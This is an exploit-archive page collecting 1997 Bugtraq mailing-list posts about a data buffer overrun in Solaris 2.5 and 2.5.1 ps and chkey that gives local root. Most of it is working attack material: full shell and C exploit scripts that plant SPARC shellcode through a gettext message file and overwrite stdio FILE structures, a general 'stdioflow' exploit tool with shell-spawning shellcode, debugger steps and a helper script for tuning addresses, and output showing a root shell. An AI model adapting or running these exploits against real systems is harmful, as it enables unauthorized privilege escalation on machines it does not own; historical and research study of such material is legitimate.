Data Buffer overrun in Solaris 2.5.1, 2.5.0 in ps and chkey

Summary
Description:The solaris ps (both /usr/bin and /usr/ucb) and chkey programs are insecure, and it is possible to exploit them via a rather complicated data buffer overrun. This overrun is probably present in many other programs.
Author:Joe Zbiciak <jzbiciak@DALDD.SC.TI.COM> wrote the ps exploit. Adam Morrison <adam@MATH.TAU.AC.IL> provided a lot of information and mentioned that chkey was also vulnerable. Adam also posted a cool stdio overflow program which will get its own entry.
Compromise: root (local)
Vulnerable Systems:Solaris 2.5.1, 2.5.0, possibly earlier versions.
Date:19 May 1997
Notes:There were a bunch of interesting postings on this topic which help to exploit the vulnerability. I've included the best ones below.
Details


Date: Mon, 19 May 1997 00:00:20 -0500
From: Joe Zbiciak <jzbiciak@DALDD.SC.TI.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: The rest of the exploit is here! Solaris 2.5.1 ps!

All,

I finally have finished the exploit of /usr/bin/ps.  After some RTFM'ing
(I don't usually do application development under Solaris), I found that
the msgfmt utility will create a file which gettext() will understand.
(And I also found that, despite what the manual page says, it doesn't
seem to understand \xDD as a hexidecimal character.  Of course, that
could just be me, but I doubt it somehow.)

Below is the complete exploit, including C code for those of you who
missed it the first time, verified on a Sparc running 2.5.1.  (Unsure of
what patches are installed, etc.  YMMV.)

Enjoy!

--Joe

--- ps_expl.sh: cut here ---
#!/bin/sh
#
# Exploit for Solaris 2.5.1 /usr/bin/ps [***NOTE*** This is really for 2.5.0 --Fyodor]
# J. Zbiciak, 5/18/97
#

# change as appropriate
CC=gcc

# Build the "replacement message" :-)
cat > ps_expl.po << E_O_F
domain "SUNW_OST_OSCMD"
msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n"
msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\020\040\001\221\320\040\010"
E_O_F

msgfmt -o /tmp/foo ps_expl.po

# Build the C portion of the exploit
cat > ps_expl.c << E_O_F

/*****************************************/
/* Exploit for Solaris 2.5.1 /usr/bin/ps */
/* J. Zbiciak,  5/18/97                  */
/*****************************************/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      (632)
#define EXTRA           (256)

int main(int argc, char *argv[])
{
        char buf[BUF_LENGTH + EXTRA];
                      /* ps will grok this file for the exploit code */
        char *envp[]={"NLSPATH=/tmp/foo",0};
        u_long *long_p;
        u_char *char_p;
                        /* This will vary depending on your libc */
        u_long proc_link=0xef70ef70;
        int i;

        long_p = (u_long *) buf;

        /* This first loop smashes the target buffer for optargs */
        for (i = 0; i < (96) / sizeof(u_long); i++)
                *long_p++ = 0x10101010;

        /* At offset 96 is the environ ptr -- be careful not to mess it up */
        *long_p++=0xeffffcb0;
        *long_p++=0xffffffff;

        /* After that is the _ctype table.  Filling with 0x10101010 marks the
           entire character set as being "uppercase printable". */
        for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)
                *long_p++ = 0x10101010;

        /* build up _iob[0]  (Ref: /usr/include/stdio.h, struct FILE) */
        *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
        *long_p++ = proc_link;    /* pointer to chars in buffer */
        *long_p++ = proc_link;    /* pointer to buffer */
        *long_p++ = 0x0501FFFF;   /* unbuffered output on stream 1 */
        /* Note: "stdin" is marked as an output stream.  Don't sweat it. :-) */

        /* build up _iob[1] */
        *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
        *long_p++ = proc_link;    /* pointer to chars in buffer */
        *long_p++ = proc_link;    /* pointer to buffer */
        *long_p++ = 0x4201FFFF;   /* line-buffered output on stream 1 */

        /* build up _iob[2] */
        *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
        *long_p++ = proc_link;    /* pointer to chars in buffer */
        *long_p++ = proc_link;    /* pointer to buffer */
        *long_p++ = 0x4202FFFF;   /* line-buffered output on stream 2 */

        *long_p =0;

        /* The following includes the invalid argument '-z' to force the
           usage msg to appear after the arguments have been parsed. */
        execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);
        perror("execle failed");

        return 0;
}
E_O_F

# Compile it
$CC -o ps_expl ps_expl.c

# And off we go!
exec ./ps_expl

--- EOF ---

--
 +--------------Joseph Zbiciak--------------+
 |- - - - jzbiciak@daldd.sc.ti.com - - - - -|
 | - - http://ee1.bradley.edu/~im14u2c/ - - |      Not your average "Joe."
 |- - - - Texas Instruments,  Dallas - - - -|
 +-------#include <std_disclaimer.h>--------+

Date: Mon, 19 May 1997 03:21:03 -0500
From: Joe Zbiciak <jzbiciak@DALDD.SC.TI.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: The rest of the exploit is here! Solaris 2.5.1 ps!

'Ori C.' said previously:
|
| Hi there,
|
| I tried and got the error msg as explained in the code and got this:

[...]

(This is CC'd to BugTraq)

I've discovered that, unlike the slap-together stack frame exploits,
that this exploit is *very* sensitive to the exact libc and OS revision
that the machine is running.  This is because I overwrite certain
pointers with exact values in exact places, which makes the exploit
much more brittle.

Also, I must've been smoking something, because I just noticed that
the particular machine I got this working on is actually running 5.5,
not 5.5.1.  Boy is my face red now.  :-)

Here's the uname -a for the particular machine I successfully tested
this exploit on:

SunOS xxxxxxxx 5.5 Generic sun4u sparc SUNW,Ultra-1

(We have 5.5 machines here in the group I just moved to, not 5.5.1,
hence my slight error.  My deepest apologies to all of bugtraq!)

For those who are interested (and capable with a debugger), here's a
rough guide to how I port this to a given machine:

First, I change the environ pointer to "0x00000000" in the exploit, and
run it pointing to "./ps".  "./ps" is a non-suid copy of /usr/bin/ps.

Next, I run the exploit, generating a core dump.

Now, I run "gdb ./ps --core=core", and issue the following command:

(gdb) x/1 &environ
0x25f58 <environ>:      0x00fffef8

If all goes well, I get to see the lower 24 bits of the old "environ"
pointer.  In this case, it's ..fffef8.  The missing upper bits are 0xef.
Note that this value is too high by about 584 bytes, because argv has
been truncated in this pass.  Subtracting 584 gives us 0xeffffcb0.
One number down, one to go.

Next, I disassemble getenv.  I look for a call into the
_PROCEDURE_LINKAGE_TABLE_ plus an offset.  Using gdb's "printf" command
to do some math for me, I subtract the offset to find the address of
the head of the _PROCEDURE_LINKAGE_TABLE_.

(gdb) disassem getenv
Dump of assembler code for function getenv:
0xef72155c <getenv>:    save  %sp, -96, %sp
0xef721560 <getenv+4>:  call  0xef721568 <getenv+12>
0xef721564 <getenv+8>:  sethi  %hi(0x4d000), %l7
0xef721568 <getenv+12>: or  %l7, 0x1ec, %l7     ! 0x4d1ec <_end+159536>
0xef72156c <getenv+16>: add  %l7, %o7, %l7
0xef721570 <getenv+20>: clr  %i5
0xef721574 <getenv+24>: ld  [ %l7 + 0xfc8 ], %i2
0xef721578 <getenv+28>: call  0xef76f824 <_PROCEDURE_LINKAGE_TABLE_+48>

(gdb) printf "%x\n", 0xef76f824-48
ef76f7f4
(gdb)

Two numbers down.  Now a quick verification...

Finally, I check to find the distance (in bytes) between _iob and environ:

(gdb) print &_iob-&environ
$1 = 536

(The exploit is currently written for that offset amount.  If yours is
higher/lower, adjust the "BUF_LENGTH" accordingly.)

Now, I go patch up the environ pointer and proc_link pointer in the
exploit to get this puppy moving.  Now, it turns out that the /usr/bin/ps
on the patched 5.5.1 machine I have access doesn't succumb to my exploit
this easily.  One additional step is necessary.

It turns out that the address I calculated above for the procedure linkage
table has a byte in it which causes the buffer overrun to fail;  I'm not
sure why.  BUT! If you disassemble the "exit" call after starting the
program:

(gdb) break getopt
Breakpoint 1 at 0x252d4
(gdb) run -c
Starting program: /home3/student/im14u2c/c/./ps -c
(no debugging symbols found)...d(no debugging symbols found)...
(no debugging symbols found)...Breakpoint 1 at 0xef72256c
(no debugging symbols found)...
Breakpoint 1, 0xef72256c in getopt ()
(gdb) disassemble exit
Dump of assembler code for function exit:
0xef7545c0 <exit>:      call  0xef771408 <_PROCEDURE_LINKAGE_TABLE_+7188>
0xef7545c4 <exit+4>:    nop
0xef7545c8 <exit+8>:    mov  1, %g1
0xef7545cc <exit+12>:   ta  8
End of assembler dump.
(gdb)

You can see where it jumps to when it's done "printing" the "error".
So, pointing "proc_link" at 0xef771408 yields a working exploit in this
case.  One minor hitch -- with this address patched, the exploit prints
some garbage to the screen which will hose an xterm or screen.  :-)
(Do ^A-Z in screen or "Full Reset" in xterm to regain control of your
tty.  If you use both, you need to do both.  :-)

Again, I apologize for my error.  In repentance, I'm including the
source for the 5.5.1 exploit.  So, now I've made 5.5 and 5.5.1 exploits
available.  Happy?  ;-)  The copy I sent before should be relabled as
a Solaris 5.5 exploit.

Here's the 2.5.1 exploit. The uname for the machine I verified this
5.5.1 exploit on is as follows:

SunOS cegt201 5.5.1 Generic_103640-08 sun4c sparc SUNW,Sun_4_75

(Hi Eric!  :-)

One other note:  Some people have asked me "What's the -z for?
That's not a valid ps switch."  That's the point. It's there to
force ps to report the usage information.  :-)

--- ps_expl.sh: cut here ---

#!/bin/sh
#
# Exploit for Solaris 2.5.1 /usr/bin/ps  (Really for 5.5.1 this time!)
# J. Zbiciak, 5/18/97
#

# change as apropriate
CC=gcc

# Build the "replacement message" :-)
cat > ps_expl.po << E_O_F
domain "SUNW_OST_OSCMD"
msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n"
msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\020\040\001\221\320\040\010"
E_O_F

msgfmt -o /tmp/foo ps_expl.po

# Build the C portion of the exploit
cat > ps_expl.c << E_O_F

/*****************************************/
/* Exploit for Solaris 2.5.1 /usr/bin/ps */
/* J. Zbiciak,  5/18/97                  */
/*****************************************/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      (632)
#define EXTRA           (256)

int main(int argc, char *argv[])
{
        char buf[BUF_LENGTH + EXTRA];
                      /* ps will grok this file for the exploit code */
        char *envp[]={"NLSPATH=/tmp/foo",0};
        u_long *long_p;
        u_char *char_p;
                        /* This will vary depending on your libc */
        u_long *proc_link=0xef771408;
        int i;

        long_p = (u_long *) buf;

        /* This first loop smashes the target buffer for optargs */
        for (i = 0; i < (96) / sizeof(u_long); i++)
                *long_p++ = 0x10101010;

        /* At offset 96 is the environ ptr -- be careful not to mess it up */
        *long_p++=0xeffffcb0;
        *long_p++=0xffffffff;

        /* After that is the _ctype table.  Filling with 0x10101010 marks the
           entire character set as being "uppercase printable". */
        for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)
                *long_p++ = 0x10101010;

        /* build up _iob[0]  (Ref: /usr/include/stdio.h, struct FILE) */
        *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
        *long_p++ = proc_link;    /* pointer to chars in buffer */
        *long_p++ = proc_link;    /* pointer to buffer */
        *long_p++ = 0x0501FFFF;   /* unbuffered output on stream 1 */
        /* Note: "stdin" is marked as an output stream.  Don't sweat it. :-) */

        /* build up _iob[1] */
        *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
        *long_p++ = proc_link;    /* pointer to chars in buffer */
        *long_p++ = proc_link;    /* pointer to buffer */
        *long_p++ = 0x4201FFFF;   /* line-buffered output on stream 1 */

        /* build up _iob[2] */
        *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
        *long_p++ = proc_link;    /* pointer to chars in buffer */
        *long_p++ = proc_link;    /* pointer to buffer */
        *long_p++ = 0x4202FFFF;   /* line-buffered output on stream 2 */

        *long_p =0;

        /* The following includes the invalid argument '-z' to force the
           usage msg to appear after the arguments have been parsed. */
        execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);
        perror("execle failed");

        return 0;
}
E_O_F

# Compile it
$CC -o ps_expl ps_expl.c

# And off we go!
exec ./ps_expl

--- EOF ---



--Joe

--
 +--------------Joseph Zbiciak--------------+
 |- - - - jzbiciak@daldd.sc.ti.com - - - - -|
 | - - http://ee1.bradley.edu/~im14u2c/ - - |      Not your average "Joe."
 |- - - - Texas Instruments,  Dallas - - - -|
 +-------#include <std_disclaimer.h>--------+

Date: Mon, 19 May 1997 11:21:59 -0500
From: Joe Zbiciak <jzbiciak@DALDD.SC.TI.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: More details 2.5/2.5.1 exploit...

'Mark Cooke' asked previously:
|
| Could you do a 'showrev -p' and post it :) Hopefully Sun will sort this
| out asap...
|

Sure...

For the 2.5 machine, the list is short:

Patch: 102964-06  Obsoletes: , Requires:, Incompatibles:  Packages: SUNWscpu, SUNWlpr, SUNWlpu, SUNWlps


For the 2.5.1 machine, the list is somewhat longer:

Patch: 103817-01  Obsoletes:   Packages: SUNWcsu
Patch: 104613-01  Obsoletes:   Packages: SUNWcsu
Patch: 104266-01  Obsoletes:   Packages: SUNWcsu
Patch: 104433-03  Obsoletes:   Packages: SUNWcsu, SUNWcsr
Patch: 103934-04  Obsoletes:   Packages: SUNWcsu, SUNWcsr, SUNWhea
Patch: 104736-01  Obsoletes:   Packages: SUNWcsu
Patch: 104776-01  Obsoletes:   Packages: SUNWcsu, SUNWarc
Patch: 103630-06  Obsoletes:   Packages: SUNWcsu, SUNWcsr
Patch: 103663-07  Obsoletes: 103683-01  Packages: SUNWcsu, SUNWcsr, SUNWhea
Patch: 103591-06  Obsoletes:   Packages: SUNWcsu, SUNWcsr
Patch: 103612-23  Obsoletes: 103615-04, 103654-01  Packages: SUNWcsu, SUNWcsr, SUNWarc, SUNWnisu, SUNWsutl
Patch: 103680-01  Obsoletes:   Packages: SUNWcsu
Patch: 103696-02  Obsoletes:   Packages: SUNWcsu, SUNWcsr
Patch: 104317-01  Obsoletes:   Packages: SUNWcsu
Patch: 104331-01  Obsoletes:   Packages: SUNWcsu
Patch: 104334-01  Obsoletes:   Packages: SUNWcsu
Patch: 103600-13  Obsoletes: 103609-02  Packages: SUNWcsu, SUNWcsr
Patch: 103640-08  Obsoletes: 103658-02, 103920-05  Packages: SUNWcsu, SUNWcsr, SUNWcar
Patch: 104654-02  Obsoletes:   Packages: SUNWcsu
Patch: 104692-01  Obsoletes:   Packages: SUNWcsu
Patch: 104708-02  Obsoletes: 104710-01, 103766-02  Packages: SUNWcsu, SUNWhea, SUNWssadv, SUNWssaop
Patch: 103582-10  Obsoletes:   Packages: SUNWcsr
Patch: 104010-01  Obsoletes:   Packages: SUNWvolu
Patch: 103461-15  Obsoletes:   Packages: SUNWmfrun
Patch: 103558-07  Obsoletes:   Packages: SUNWadmap, SUNWadmc, SUNWsadml
Patch: 103879-04  Obsoletes:   Packages: SUNWkcsrt
Patch: 103959-03  Obsoletes:   Packages: SUNWscpu, SUNWlpu, SUNWlps
Patch: 103866-02  Obsoletes:   Packages: SUNWbcp
Patch: 103743-01  Obsoletes:   Packages: SUNWfns
Patch: 103686-02  Obsoletes:   Packages: SUNWnisu
Patch: 103900-01  Obsoletes:   Packages: SUNWowbcp
Patch: 103728-01  Obsoletes:   Packages: SUNWdtbas
Patch: 103846-02  Obsoletes:   Packages: SUNWdtbas
Patch: 103882-03  Obsoletes:   Packages: SUNWdtdte
Patch: 104471-01  Obsoletes:   Packages: SUNWdtdte
Patch: 104498-01  Obsoletes:   Packages: SUNWdtdte
Patch: 104374-01  Obsoletes:   Packages: SUNWdtwm
Patch: 103670-02  Obsoletes:   Packages: SUNWdtdst
Patch: 104178-01  Obsoletes:   Packages: SUNWdtdst
Patch: 104552-01  Obsoletes:   Packages: SUNWdtdst


Also, many people have written saying "It doesn't work."  You need to
tune the exploit.  I could try to produce a self-tuning version for
people who are too lazy to fire up the debugger.  :-)  Even so, it would
need to know where to start, unless you just have *way* too much time on
your hands.

--Joe

--
 +--------------Joseph Zbiciak--------------+
 |- - - - jzbiciak@daldd.sc.ti.com - - - - -|
 | - - http://ee1.bradley.edu/~im14u2c/ - - |      Not your average "Joe."
 |- - - - Texas Instruments,  Dallas - - - -|
 +-------#include <std_disclaimer.h>--------+

Date: Mon, 19 May 1997 22:34:58 +0300
From: Adam Morrison <adam@MATH.TAU.AC.IL>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Finally, most of an exploit for Solaris 2.5.1's ps.

Uh, the joys of not keeping up with my mail.  I've already seen your full
exploit, but I thought you might still find some interest in this.

> I finally managed to construct most of an exploit for Solaris'
> /usr/bin/ps.  This exploit does *not* use the getopt()/argv[0] hole.
> Rather, it uses the buffer overrun I isolated a couple weeks ago.  I've
> sent a copy of this to Casper Dik over at Sun as well; hopefully he's
> convinced now that a proper patch for Solaris 2.5.1 is a good idea.

The latest version of Sun patch 103612 has fixes for getopt() overrun, as
well as the ones in getpwnam_r() and getgrnam_r() and some others.

> This partial exploit is unique in that it does *not* rely on an
> executable stack.  Rather, it overwrites the buffer pointers in _iob[0]
> through _iob[2], thus inducing stdio streams to do the dirty work.

It may not be as unique as you think; because of the way most source code
looks like, almost any program that uses stdio(3S) has iob[] after any
variables declared in the program.  Thus, this is really the cookie cutter
data buffer overrun -- it only takes more brains to use.  A classical
example of this hole is in chkey(1).

        10:47  [wumpus:~] % stdioflow
        usage: stdioflow [options] buf(name or @address) libaddr program args
        options: [-l library] [-f function] [-o offset] [-e env]
        10:47  [wumpus:~] % stdioflow -o 7 program_name 0xef640000 \
                /usr/bin/chkey %s -s woop
        Using library /usr/lib/libc.so at 0xef640000
        Using PLT at 0x8ef70
        Found _exithandle at 0x1be4
        Buffer at 0x24e88
        iob[] at 0x24f90
        Using absolute address 0xef6d0b4d
        Using 264 bytes
        # /usr/ucb/whoami
        root

> The exploit source below succeeds in getting a non-suid copy of
> /usr/bin/ps to write its usage message overtop of the "procedure
> linkage table".  The next dynamic library call to an unlinked
> procedure would initiate the exploit code itself.  (In this case,
> it attempts to execute the ascii text of the usage message, which
> isn't all that useful.)

You might experience problems with this approach; I don't remember the
exact difficulties I had, but essentially the dynamic loader faulted when
the first few entries of the PLT ``rug'' got pulled out from under it when
an stdio function overwrote them.

> One drawback to this exploit is that it is *very* difficult to set the
> "environ" pointer correctly; it took me awhile to get that correct.
> I've commented the specific line which affects the environ pointer.

If you don't mess with environ from within your program (instead, do a
setenv from the shell and then run your exploit) and play with your
arguments nicely, its value should not change.

> Perhaps some of you Solaris junkies out there can flesh out the missing
> half to this exploit (the file "/tmp/foo" as currently referenced in the
> exploit source).

This gettext() trick is really something I hadn't thought of.  I don't think
it should be too difficult.  I will add it to my program.

> On a different level, I think this exploit is fairly unique in its
> methodology; it points to the fact that overrunning static data can
> actually be more dangerous than overrunning automatic data on the
> stack, because setting the stack non-executable doesn't help you
> anymore.  In this case, I hijacked the stdio file streams to do my
> bidding.

Lest anyone say that this is a Solaris only problem, I note that the BSD
FILE structure contains function pointers, so exploiting a similar overrun
condition there would be trivial.


                                                adam?

/*
 * stdioflow -- exploit for data overrun conditions
 * adam@math.tau.ac.il (Adam Morrison)
 *
 * This program causes programs which use stdio(3S) and have data buffer
 * overflow conditions to overwrite stdio's iob[] array of FILE structures
 * with malicious, buffered FILEs.  Thus it is possible to get stdio to
 * overwrite arbitrary places in memory; specifically, it overwrites a
 * specific procedure linkage table entry with SPARC assembly code to
 * execute a shell.
 *
 * Using this program involves several steps.
 *
 * First, find a code path which leads to the use of stdout or stderr after
 * the buffer has been overwritten.  The default case being
 *
 *      strcpy(buffer, argv[0]);
 *      / we gave it wrong arguments /
 *      fprintf(stderr, "usage: %s ...\n", buffer);
 *      exit(1);
 *
 * In this case you need to overwrite exit()'s PLT entry.
 *
 * Second, find out the address that the library that contains the PLT
 * you want to overwrite (in this case, it would be libc) gets mmapped()
 * to in the process' address space.  You need it to calculate the
 * absolute of the PLT entry.  (Doing this is left as an, uh, exercise
 * to the reader.)
 *
 * Finally, calculate the offset to take from the PLT entry -- you don't
 * want ``usage: '' in the table, but the instructions in ``%s''.  In this
 * case, it would be 7.
 *
 * Then run it.
 */
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <libelf.h>

#include <sys/types.h>
#include <sys/link.h>

#define PLT_SYMBOL "_PROCEDURE_LINKAGE_TABLE_"

u_int shellcode[] = {
  0x821020ca,
  0xa61cc013,
  0x900cc013,
  0x920cc013,
  0xa604e001,
  0x91d02008,
  0x2d0bd89a,
  0xac15a16e,
  0x2f0bdcda,
  0x900b800e,
  0x9203a008,
  0x941a800a,
  0x9c03a010,
  0xec3bbff0,
  0xdc23bff8,
  0xc023bffc,
  0x8210203b,
  0x91d02008,
};
int shell_len = sizeof (shellcode) / sizeof (u_long);
u_long meow = 0x6d656f77;
char *prog;

void elferr(void);
u_long symval(char *, char *);
u_long plt_offset(char *, char *);

void
usage()
{
        fprintf(stderr, "usage: %s [options] buf(name or @address) libaddr program args\n", prog);
        fprintf(stderr, "options: [-l library] [-f function] [-o offset] [-e env]\n");
        exit(1);
}

main(int argc, char **argv)
{
        char *env = NULL;
        char *library = "/usr/lib/libc.so";
        char *function = "_exithandle";
        u_long off, uoff = 0;
        u_long libaddr, pltaddr, bufaddr, iobaddr;
        u_long pltent;
        char *prognam, *bufnam;
        int buflen;
        char *badbuf;
        u_long *bp;
        int c;
        extern char *optarg;
        extern int optind;
        char **arg0, **arg;

        prog = strrchr(argv[0], '/');
        if (prog)
          ++prog;
        else
          prog = argv[0];

        while ((c = getopt(argc, argv, "l:f:o:e:")) != EOF)
          switch (c) {
          case 'l':
            library = optarg;
            break;
          case 'f':
            function = optarg;
            break;
          case 'o':
            uoff = strtol(optarg, (char **)0, 0);
            break;
          case 'e':
            env = optarg;
            break;
          default:
            usage();
          }

        if (argc - optind < 3)
          usage();

        bufnam = argv[optind];

        /*
         * This is the address that the library in which `function'
         * lives gets mapped to in the child address space.  We could force
         * a non-privileged copy of `prognam' to dump core, and fish
         * out the memory mappings from the resulting core file; but this
         * is really something users should be able to do themselves.
         */
        libaddr = strtoul(argv[optind+1], (char **)0, 0);
        if (libaddr == 0) {
          fprintf(stderr, "%s: impossible library virtual address: %s\n",
                  prog, argv[optind+1]);
          exit(1);
        }
        printf("Using library %s at 0x%p\n", library, libaddr);

        prognam = argv[optind+2];

        arg0 = &argv[optind+3];

        /*
         * `pltaddr' is the offset at which the library's PLT will be
         * at from `libaddr'.
         */
        pltaddr = symval(library, PLT_SYMBOL);
        if (pltaddr == 0) {
          fprintf(stderr, "%s: could not find PLT offset from library\n",
                  prog);
          exit(1);
        }
        printf("Using PLT at 0x%p\n", pltaddr);

        /*
         * `off' is the offset from `pltaddr' in which the desired
         * function's PLT entry is.
         */
        off = plt_offset(library, function);
        if (off == 0) {
          fprintf(stderr, "%s: impossible offset from PLT returned\n", prog);
          exit(1);
        }
        printf("Found %s at 0x%p\n", function, off);

        /*
         * `bufaddr' is the name (or address) of the buffer we want to
         * overflow.  It's not a stack buffer, so finding it out is trivial.
         */
        if (bufnam[0] == '@')
          bufaddr = strtol(&bufnam[1], (char **)0, 0);
        else
          bufaddr = symval(prognam, bufnam);

        if (bufaddr == 0) {
          fprintf(stderr, "%s: illegal buffer address: %s\n", prog, prognam);
          exit(1);
        }
        printf("Buffer at 0x%p\n", bufaddr);

        /*
         * `iobaddr' is obviously the address of the stdio(3) array.
         */
        iobaddr = symval(prognam, "__iob");
        if (iobaddr == 0) {
          fprintf(stderr, "%s: could not find iob[] in %s\n", prog, prognam);
          exit(1);
        }
        printf("iob[] at 0x%p\n", iobaddr);

        /*
         * This is the absolute address of the PLT entry we want to
         * overwrite.
         */
        pltent = libaddr + pltaddr + off;

        buflen = iobaddr - bufaddr;
        if (buflen < shell_len) {
          fprintf(stderr, "%s: not enough space for shell code\n", prog);
          exit(1);
        }
        if (env) {
          buflen += strlen(env) + 5;
          if (buflen & 3) {
            fprintf(stderr, "%s: alignment problem\n", prog);
            exit(1);
          }
        }
        badbuf = (char *)malloc(buflen);
        if (badbuf == 0) {
          fprintf(stderr, "%s: out of memory\n", prog);
          exit(1);
        }

        if (env) {
          buflen -= (strlen(env) + 5);
          sprintf(badbuf, "%s=", env);

          bp = (u_long *)&badbuf[strlen(badbuf)];
        } else
          bp = (u_long *)badbuf;

        buflen /= sizeof (*bp);
        for (c = 0; c < shell_len; c++)
          *bp++ = shellcode[c];

        for (; c < buflen; c++)
          *bp++ = meow;

        /*
         * stdin -- whatever
         */
        *bp++ = -29;
        *bp++ = 0xef7d7310;
        *bp++ = 0xef7d7310 - 29;
        *bp++ = 0x0101ffff;

        /*
         * stdout
         */
        *bp++ = -29;
        *bp++ = pltent - uoff;
        *bp++ = pltent - 29;
        *bp++ = 0x0201ffff;

        /*
         * stderr
         */
        *bp++ = -29;
        *bp++ = pltent - uoff;
        *bp++ = pltent - 29;
        *bp++ = 0x0202ffff;

        *bp++ = 0;

        printf("Using absolute address 0x%p\n", pltent - uoff);

        /*

Date: Mon, 19 May 1997 14:52:24 -0500
From: Joe Zbiciak <jzbiciak@DALDD.SC.TI.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Shortcut for setting "proc_link" in ps exploit

All,

A number of you have written saying that the exploit doesn't work.
The biggest problem is that the exploit relies on a very specific
address (which I put in the proc_link variable) in order to work.

(Incidentally, as some have noted, there was a stray '*' in one of
the versions I sent out which causes some warnings to be generated.
Change "u_long *proc_link=..." to "u_long proc_link=..." if this
bothers you.  The warnings are benign in this case.)

The following shortcut seems to work for finding the value for
the bothersome proc_link variable.  You don't need to be a gdb whiz
to do this:

$ gdb ./ps
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (sparc-sun-solaris2.4),
Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) break exit
Breakpoint 1 at 0x25244
(gdb) run
Starting program: /home3/student/im14u2c/c/./ps
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...Breakpoint 1 at 0xef7545c0
(no debugging symbols found)...   PID TTY      TIME CMD
  9840 pts/27   0:01 ps
 19499 pts/27   0:10 bash
  9830 pts/27   0:02 gdb

Breakpoint 1, 0xef7545c0 in exit ()
(gdb) disassemble exit
Dump of assembler code for function exit:
0xef7545c0 <exit>:      call  0xef771408 <_PROCEDURE_LINKAGE_TABLE_+7188>
0xef7545c4 <exit+4>:    nop
0xef7545c8 <exit+8>:    mov  1, %g1
0xef7545cc <exit+12>:   ta  8
End of assembler dump.
(gdb)

The magic number is in the "call" above: 0xef771408.

For the extremely lazy, the following shell script worked for me to
extract this value from the noise.  Your Mileage May Vary.

--- extract_proc_link.sh
#!/bin/sh

cp /usr/bin/ps ./ps
FOO="`cat << E_O_F | gdb ./ps | grep PROC | cut -d: -f2 | cut -d\< -f1
break exit
run
disassemble exit
quit
y
E_O_F
`"

rm -f ./ps

set $FOO foo

[ -f "$1" = "foo" ] && echo "Try something else" && exit 1;

echo "  u_long proc_link=$2;"
--- EOF

Note, this sets the proc_link variable to the routine "exit" calls, so
you will probably get garbage on your screen when the exploit runs.
Solution: To it from an xterm or something which lets you do a "reset"
to nullify the action of the control characters in the exploit.

Incidentally, it appears that /usr/ucb/ps is equally succeptable to this
hole, except the vulnerability is on the -t argument, and the string
grokked by gettext is different, so the "ps_expl.po" file needs to be
changed slightly.  Fortunately, "environ" and "proc_link" are pretty
much the same.  (Use the "extract" script above on /usr/ucb/ps, etc.)

The remainder this is left as an exercise for the reader.

Enjoy,

--Joe

--
 +--------------Joseph Zbiciak--------------+
 |- - - - jzbiciak@daldd.sc.ti.com - - - - -|
 | - - http://ee1.bradley.edu/~im14u2c/ - - |      Not your average "Joe."
 |- - - - Texas Instruments,  Dallas - - - -|
 +-------#include <std_disclaimer.h>--------+

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: